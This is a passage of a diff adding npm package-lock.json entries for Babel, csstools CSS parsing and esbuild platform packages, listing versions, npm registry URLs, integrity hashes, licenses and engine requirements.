+        "@babel/helper-module-transforms": "^7.29.7",
+        "@babel/helpers": "^7.29.7",
+        "@babel/parser": "^7.29.7",
+        "@babel/template": "^7.29.7",
+        "@babel/traverse": "^7.29.7",
+        "@babel/types": "^7.29.7",
+        "@jridgewell/remapping": "^2.3.5",
+        "convert-source-map": "^2.0.0",
+        "debug": "^4.1.0",
+        "gensync": "^1.0.0-beta.2",
+        "json5": "^2.2.3",
+        "semver": "^6.3.1"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/babel"
+      }
+    },
+    "node_modules/@babel/generator": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.7.tgz",
+      "integrity": "sha512-DkXD5OJQaAQIdZ1bt3UZdEnHAn9Imd3IVBdX03UFe+ony9Ojw5pzr9YVKGDY1jt+Gcn/FnGkNf8r+Vj5NOJWtQ==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/parser": "^7.29.7",
+        "@babel/types": "^7.29.7",
+        "@jridgewell/gen-mapping": "^0.3.12",
+        "@jridgewell/trace-mapping": "^0.3.28",
+        "jsesc": "^3.0.2"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-compilation-targets": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.29.7.tgz",
+      "integrity": "sha512-wem6WaBj4NaVYVdNhLPPVacES6ZJ+KBBfSkTMD3YZxbP3rm3Di85tJU5ljaUNhaOynt+Aj0xruhYuzQBt8n71g==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/compat-data": "^7.29.7",
+        "@babel/helper-validator-option": "^7.29.7",
+        "browserslist": "^4.24.0",
+        "lru-cache": "^5.1.1",
+        "semver": "^6.3.1"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-globals": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.29.7.tgz",
+      "integrity": "sha512-3nQVUAtvkKH9zahfWgw96Jc/uFOmjACE1kQz82E2lqWmHBgjzbNlsC22nuQTfahmWeQtTq5nQ/4Nnd2A1wj4zA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-module-imports": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.29.7.tgz",
+      "integrity": "sha512-ejHwrQQYcm9xnTivShn2IDOlIzInN34AXskvq9QicvCtEzq1Vzclu/tKF8Jq1Cg8JG2GL6/EmjgsCT7lXepE3g==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/traverse": "^7.29.7",
+        "@babel/types": "^7.29.7"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-module-transforms": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.29.7.tgz",
+      "integrity": "sha512-UPUVSyXbOh627KiCIGQSgwWzGeBKLkaJ9PJEdrngIwMSzxLR4jS4+f1f1jb7VzBbg8nFLaYotvVPFCTqdrmTAg==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/helper-module-imports": "^7.29.7",
+        "@babel/helper-validator-identifier": "^7.29.7",
+        "@babel/traverse": "^7.29.7"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/@babel/helper-plugin-utils": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.29.7.tgz",
+      "integrity": "sha512-G7sHYigPY17oO5SYWnfD/0MTBwVR781S/JI643e/JhUYgVgWE/61SoW3NH9KWUKyKq5LVh3npif99Wkt6j86Jw==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-string-parser": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.29.7.tgz",
+      "integrity": "sha512-Pb5ijPrZ89GDH8223L4UP8i6QApWxs04RbPQJTeWDV0/keR2E36MeKnyr6LYmUUvqRRI+Iv87SuF1W6ErINzYw==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-validator-identifier": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.29.7.tgz",
+      "integrity": "sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-validator-option": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.29.7.tgz",
+      "integrity": "sha512-N9ZErrD+yW5geCDtBqnOoxmR8+tNKiGuxKlDpuJxfsqpa2dFcexaziGAE/qoHLiDDreVNMupxGmSoNlyvsA3gw==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helpers": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.7.tgz",
+      "integrity": "sha512-1k2lAGRMfHTcwuNYcCNUmaUffmQv8KWMfh2iJUUeRlwlwH4FdNG7mfPI10NPfLHJFThE4Tyr4mv7kTNZOiPuBg==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/template": "^7.29.7",
+        "@babel/types": "^7.29.7"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/parser": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.7.tgz",
+      "integrity": "sha512-hnORnjP/1P/zFEndoeX+n+t1RwWRJiJpM/jO7FW32Kn9r5+sJB2JWOdYo4L6k78j15eCwY3Gm/7364B1EMwtNg==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/types": "^7.29.7"
+      },
+      "bin": {
+        "parser": "bin/babel-parser.js"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-react-jsx-self": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.29.7.tgz",
+      "integrity": "sha512-TL0hMc9xzy86VD31nUiwzd5otRAcyEPcsegCxolO0PvcXuH1v0kECe/UIznYFihpkvU5wg/jk4v0TTEFfm53fw==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.29.7"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-react-jsx-source": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.29.7.tgz",
+      "integrity": "sha512-06IyK09H3wi4cGbhDBwp5gUGo0IKtnYa8tyTiephirPCK6fbobVGiXMMI5zLQ4aKEYP3wZ3ArU44o+8KMrSG/Q==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.29.7"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/runtime": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.7.tgz",
+      "integrity": "sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/template": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.29.7.tgz",
+      "integrity": "sha512-puq+Gf35oI24FeN11LkoUQFqv9uwNeWpxXZi/Ji3rRIoKAzKnxRaZ+Gkj0vKS9ZCiTESfng1N9LyOyXvo+m+Gg==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/code-frame": "^7.29.7",
+        "@babel/parser": "^7.29.7",
+        "@babel/types": "^7.29.7"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/traverse": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.7.tgz",
+      "integrity": "sha512-EhlfNQtZ+NK22w5BM61ciuiq1m58ed33Wr1Xan//ZRTy6hgjnwyCffRYwzsGXdASJSUJ1guZILsErh1eQcl+zw==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/code-frame": "^7.29.7",
+        "@babel/generator": "^7.29.7",
+        "@babel/helper-globals": "^7.29.7",
+        "@babel/parser": "^7.29.7",
+        "@babel/template": "^7.29.7",
+        "@babel/types": "^7.29.7",
+        "debug": "^4.3.1"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/types": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.7.tgz",
+      "integrity": "sha512-4zBIxpPzowiZpusoFkyGVwakdRJUyuH5PxQ/PrqghfdFWWasvnCdPfQXHrenDai+gyLARulZjZowCOj6fjT4pA==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/helper-string-parser": "^7.29.7",
+        "@babel/helper-validator-identifier": "^7.29.7"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@bramus/specificity": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/@bramus/specificity/-/specificity-2.4.2.tgz",
+      "integrity": "sha512-ctxtJ/eA+t+6q2++vj5j7FYX3nRu311q1wfYH3xjlLOsczhlhxAg2FWNUXhpGvAw3BWo1xBcvOV6/YLc2r5FJw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "css-tree": "^3.0.0"
+      },
+      "bin": {
+        "specificity": "bin/cli.js"
+      }
+    },
+    "node_modules/@csstools/color-helpers": {
+      "version": "6.0.2",
+      "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-6.0.2.tgz",
+      "integrity": "sha512-LMGQLS9EuADloEFkcTBR3BwV/CGHV7zyDxVRtVDTwdI2Ca4it0CCVTT9wCkxSgokjE5Ho41hEPgb8OEUwoXr6Q==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/csstools"
+        },
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/csstools"
+        }
+      ],
+      "license": "MIT-0",
+      "engines": {
+        "node": ">=20.19.0"
+      }
+    },
+    "node_modules/@csstools/css-calc": {
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-3.2.1.tgz",
+      "integrity": "sha512-DtdHlgXh5ZkA43cwBcAm+huzgJiwx3ZTWVjBs94kwz2xKqSimDA3lBgCjphYgwgVUMWatSM0pDd8TILB1yrVVg==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/csstools"
+        },
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/csstools"
+        }
+      ],
+      "license": "MIT",
+      "engines": {
+        "node": ">=20.19.0"
+      },
+      "peerDependencies": {
+        "@csstools/css-parser-algorithms": "^4.0.0",
+        "@csstools/css-tokenizer": "^4.0.0"
+      }
+    },
+    "node_modules/@csstools/css-color-parser": {
+      "version": "4.1.8",
+      "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-4.1.8.tgz",
+      "integrity": "sha512-3chWb7PRLijpJpPIKkDxdu6IBeO5MrFACND57On0j8OPpc0wZibcGc3xAHrSEbOx/KDRyMHoIxGn0w1PhXMYHw==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/csstools"
+        },
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/csstools"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "@csstools/color-helpers": "^6.0.2",
+        "@csstools/css-calc": "^3.2.1"
+      },
+      "engines": {
+        "node": ">=20.19.0"
+      },
+      "peerDependencies": {
+        "@csstools/css-parser-algorithms": "^4.0.0",
+        "@csstools/css-tokenizer": "^4.0.0"
+      }
+    },
+    "node_modules/@csstools/css-parser-algorithms": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-4.0.0.tgz",
+      "integrity": "sha512-+B87qS7fIG3L5h3qwJ/IFbjoVoOe/bpOdh9hAjXbvx0o8ImEmUsGXN0inFOnk2ChCFgqkkGFQ+TpM5rbhkKe4w==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/csstools"
+        },
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/csstools"
+        }
+      ],
+      "license": "MIT",
+      "engines": {
+        "node": ">=20.19.0"
+      },
+      "peerDependencies": {
+        "@csstools/css-tokenizer": "^4.0.0"
+      }
+    },
+    "node_modules/@csstools/css-syntax-patches-for-csstree": {
+      "version": "1.1.5",
+      "resolved": "https://registry.npmjs.org/@csstools/css-syntax-patches-for-csstree/-/css-syntax-patches-for-csstree-1.1.5.tgz",
+      "integrity": "sha512-oNjBvzLq2GPZtJphCjLqXow/cHySHSgtxvKZb7OqSZ/xHgw6NWNhfad+6AB9cLeVm6eA9d/qMll3JdEHjy6M+A==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/csstools"
+        },
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/csstools"
+        }
+      ],
+      "license": "MIT-0",
+      "peerDependencies": {
+        "css-tree": "^3.2.1"
+      },
+      "peerDependenciesMeta": {
+        "css-tree": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@csstools/css-tokenizer": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-4.0.0.tgz",
+      "integrity": "sha512-QxULHAm7cNu72w97JUNCBFODFaXpbDg+dP8b/oWFAZ2MTRppA3U00Y2L1HqaS4J6yBqxwa/Y3nMBaxVKbB/NsA==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/csstools"
+        },
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/csstools"
+        }
+      ],
+      "license": "MIT",
+      "engines": {
+        "node": ">=20.19.0"
+      }
+    },
+    "node_modules/@esbuild/aix-ppc64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz",
+      "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==",
+      "cpu": [
+        "ppc64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "aix"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/android-arm": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz",
+      "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==",
+      "cpu": [
+        "arm"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "android"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/android-arm64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz",
+      "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "android"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/android-x64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz",
+      "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "android"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/darwin-arm64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz",
+      "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "darwin"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/darwin-x64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz",
+      "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "darwin"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/freebsd-arm64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz",
+      "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "freebsd"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/freebsd-x64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz",
+      "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "freebsd"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/linux-arm": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz",
+      "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==",
+      "cpu": [
+        "arm"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/linux-arm64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz",
+      "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/linux-ia32": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz",
+      "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==",
+      "cpu": [
+        "ia32"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/linux-loong64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz",
+      "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==",
+      "cpu": [
+        "loong64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/linux-mips64el": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz",
+      "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==",
+      "cpu": [
+        "mips64el"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/linux-ppc64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz",
+      "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==",
+      "cpu": [
+        "ppc64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/linux-riscv64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz",
+      "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==",
+      "cpu": [
+        "riscv64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/linux-s390x": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz",
+      "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==",
+      "cpu": [
+        "s390x"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/linux-x64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz",
+      "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/netbsd-arm64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz",
+      "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "netbsd"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/netbsd-x64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz",
+      "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "netbsd"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/openbsd-arm64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz",
+      "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "openbsd"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/openbsd-x64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz",
+      "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "openbsd"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/openharmony-arm64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz",
+      "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "openharmony"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/sunos-x64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz",
+      "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "sunos"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/win32-arm64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz",
+      "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "win32"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/win32-ia32": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz",
+      "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==",
+      "cpu": [
+        "ia32"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "win32"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/win32-x64": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz",
+      "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "win32"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@exodus/bytes": {
+      "version": "1.15.1",
+      "resolved": "https://registry.npmjs.org/@exodus/bytes/-/bytes-1.15.1.tgz",
+      "integrity": "sha512-S6mL0yNB/Abt9Ei4tq8gDhcczc4S3+vQ4ra7vxnAf+YHC02srtqxKKZghx2Dq6p0e66THKwR6r8N6P95wEty7Q==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
